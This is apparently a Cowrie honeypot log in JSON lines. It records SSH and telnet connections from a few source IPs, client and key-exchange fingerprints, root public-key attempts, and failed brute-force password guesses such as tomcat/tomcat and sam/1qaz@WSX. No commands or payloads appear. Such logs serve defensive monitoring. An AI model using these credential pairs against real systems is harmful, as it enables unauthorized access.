{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:58:34:59:8f:39:59:40:66:ed:59:42:64:76:60:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRlhKbcyn7zMGf8nOnRA+lCq1LGI2EWVndMmvmyqoq+b9V/FdWpticnLr40iwp7Jgev8e8aRef/mDT0vhtfImn3tlCe0VEz+b9EmZn56iHmTEaMBVBTT48khSH5SO1xkgA4TYWeALf/lRLuofhS20YNjT2CEqeboLiVKlznQtZq4rAZS4UJAiyr2yxeQuLfuz2gWaOejRbItEfL6GehxSQww+auJ+H8lKhEl2+AA7bwkO9Ekr3hMSn4Z+bCOqzwr1Fzi2YWKNN2y8HwgpcnrWoR9IVw0WXjJXgB1Skii3ldwAiB1Kj3JbbfdsVFPLcTALQpLqQrO0WV1yUeh79DCCn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:58:34:59:8f:39:59:40:66:ed:59:42:64:76:60:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.829376Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:58:34:59:8f:39:59:40:66:ed:59:42:64:76:60:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRlhKbcyn7zMGf8nOnRA+lCq1LGI2EWVndMmvmyqoq+b9V/FdWpticnLr40iwp7Jgev8e8aRef/mDT0vhtfImn3tlCe0VEz+b9EmZn56iHmTEaMBVBTT48khSH5SO1xkgA4TYWeALf/lRLuofhS20YNjT2CEqeboLiVKlznQtZq4rAZS4UJAiyr2yxeQuLfuz2gWaOejRbItEfL6GehxSQww+auJ+H8lKhEl2+AA7bwkO9Ekr3hMSn4Z+bCOqzwr1Fzi2YWKNN2y8HwgpcnrWoR9IVw0WXjJXgB1Skii3ldwAiB1Kj3JbbfdsVFPLcTALQpLqQrO0WV1yUeh79DCCn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.832463Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.852765Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39792,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c218ed330a","protocol":"ssh","message":"New connection: 45.153.34.97:39792 (10.17.0.5:22) [session: 38c218ed330a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:40.516183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:40.521108Z","src_ip":"45.153.34.97","session":"38c218ed330a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:40.603514Z","src_ip":"45.153.34.97","session":"38c218ed330a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.714080810546875,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:40.691779Z","src_ip":"152.42.224.71","session":"0025fe36a2f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:41.117491Z","src_ip":"45.153.34.97","session":"38c218ed330a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:42.207412Z","src_ip":"45.153.34.97","session":"38c218ed330a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39804,"dst_ip":"10.17.0.5","dst_port":22,"session":"977d0ac8402e","protocol":"ssh","message":"New connection: 45.153.34.97:39804 (10.17.0.5:22) [session: 977d0ac8402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:45.021308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:45.025648Z","src_ip":"45.153.34.97","session":"977d0ac8402e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:45.107439Z","src_ip":"45.153.34.97","session":"977d0ac8402e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:45.902091Z","src_ip":"45.153.34.97","session":"977d0ac8402e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:47.007509Z","src_ip":"45.153.34.97","session":"977d0ac8402e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39820,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ceb8e1461d9","protocol":"ssh","message":"New connection: 45.153.34.97:39820 (10.17.0.5:22) [session: 0ceb8e1461d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:49.469506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:49.477930Z","src_ip":"45.153.34.97","session":"0ceb8e1461d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:49.574348Z","src_ip":"45.153.34.97","session":"0ceb8e1461d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:50.291273Z","src_ip":"45.153.34.97","session":"0ceb8e1461d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:51.379176Z","src_ip":"45.153.34.97","session":"0ceb8e1461d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13922,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea872df420b7","protocol":"ssh","message":"New connection: 45.153.34.97:13922 (10.17.0.5:22) [session: ea872df420b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:53.869698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:53.882245Z","src_ip":"45.153.34.97","session":"ea872df420b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:53.982497Z","src_ip":"45.153.34.97","session":"ea872df420b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:54.599966Z","src_ip":"45.153.34.97","session":"ea872df420b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.55988073348999,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:55.563236Z","src_ip":"152.42.224.71","session":"d698340a3798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:55.699489Z","src_ip":"45.153.34.97","session":"ea872df420b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38456,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd195c5be1a7","protocol":"telnet","message":"New connection: 152.42.224.71:38456 (10.17.0.5:23) [session: dd195c5be1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:56.003813Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13932,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c692f06ce9c","protocol":"ssh","message":"New connection: 45.153.34.97:13932 (10.17.0.5:22) [session: 2c692f06ce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:58.315119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:58.319777Z","src_ip":"45.153.34.97","session":"2c692f06ce9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:58.401521Z","src_ip":"45.153.34.97","session":"2c692f06ce9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:59.094219Z","src_ip":"45.153.34.97","session":"2c692f06ce9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:00.180656Z","src_ip":"45.153.34.97","session":"2c692f06ce9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39802,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c1e839ab01d","protocol":"ssh","message":"New connection: 45.153.34.97:39802 (10.17.0.5:22) [session: 4c1e839ab01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:02.788821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:02.807861Z","src_ip":"45.153.34.97","session":"4c1e839ab01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:02.892014Z","src_ip":"45.153.34.97","session":"4c1e839ab01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.380292Z","src_ip":"45.153.34.97","session":"4c1e839ab01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":54060,"dst_ip":"10.17.0.5","dst_port":22,"session":"190f69cd7ab4","protocol":"ssh","message":"New connection: 148.113.221.114:54060 (10.17.0.5:22) [session: 190f69cd7ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.434870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.439950Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.458757Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:35:fd:1a:c3:db:fc:85:20:3f:bd:4a:1f:6d:6c:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7gXuP01h+WaDNe9YvmQ9J/GV6dWkVaHSWm/68RVFftid+SKluvKWdpNJDD23d3sBaaIA61cdm9mW2PMsD76s6rpvx7Q76OyC3w07JuZkDh2bwzLxfS0SyslbeKIJW2el4+6SbO459ENUDo3T8xqKTfY61qVcFp4yiDqoS7rLElTUht8gcfjnebbyXblLq1b4zQHEeyNUfg8rP/9+CWZSkf68me3sKUQsSpnjyzUBNIK4WDrthuFv/28xHr4VRNHvlJvkW4VhlJTR8ypONZZu3+d1BXbku5PolJsSq9orqO+/BZ4WUyKpGKLqnUd0yVc7PVs2arY9SWTr98JhEFOYJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:35:fd:1a:c3:db:fc:85:20:3f:bd:4a:1f:6d:6c:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:03.539490Z","src_ip":"148.113.221.114","session":"190f69cd7ab4","protocol":"ssh"}
